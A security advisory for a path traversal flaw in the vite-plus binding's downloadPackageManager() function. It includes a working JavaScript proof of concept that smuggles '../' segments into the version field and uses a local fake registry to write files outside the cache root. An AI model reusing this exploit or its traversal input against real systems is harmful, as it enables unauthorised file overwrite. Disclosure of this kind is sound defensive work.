نسخههای متأثر
- نسخههای متأثر
- <= 0.1.16
- نسخهٔ اصلاحشده
- 0.1.17
بهرهبرداری
شرح آسیبپذیری
Summary
downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.
Details
The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.
That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:
computes the final target directory from the raw
versionstring,removes any pre-existing directory at that target,
renames the extracted package into that location, and
writes executable shim files there.
Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.
PoC
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";
const tgz = Buffer.from(
"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
"base64",
);
const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");
process.env.VP_HOME = vpHome;
const server = http.createServer((req, res) => {
res.writeHead(200, { "content-type": "application/octet-stream" });
res.end(tgz);
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;
const result = await downloadPackageManager({
name: "pnpm",
version,
});
server.close();
console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));
// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created
Impact
A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.
Mitigating factors
Normal CLI usage is not affected. All built-in CLI paths (
vp create,vp migrate,vp env) validate the version string viasemver::Version::parse()before it reachesdownloadPackageManager().The vulnerability is only reachable by programmatic callers that import
vite-plus/bindingdirectly and pass an untrusted version string.No known downstream consumers pass untrusted input to this function.
Exploitation requires the attacker to already be executing code in the same Node.js process.
پیوندها
گزارشدهندگان
- Jvr2022

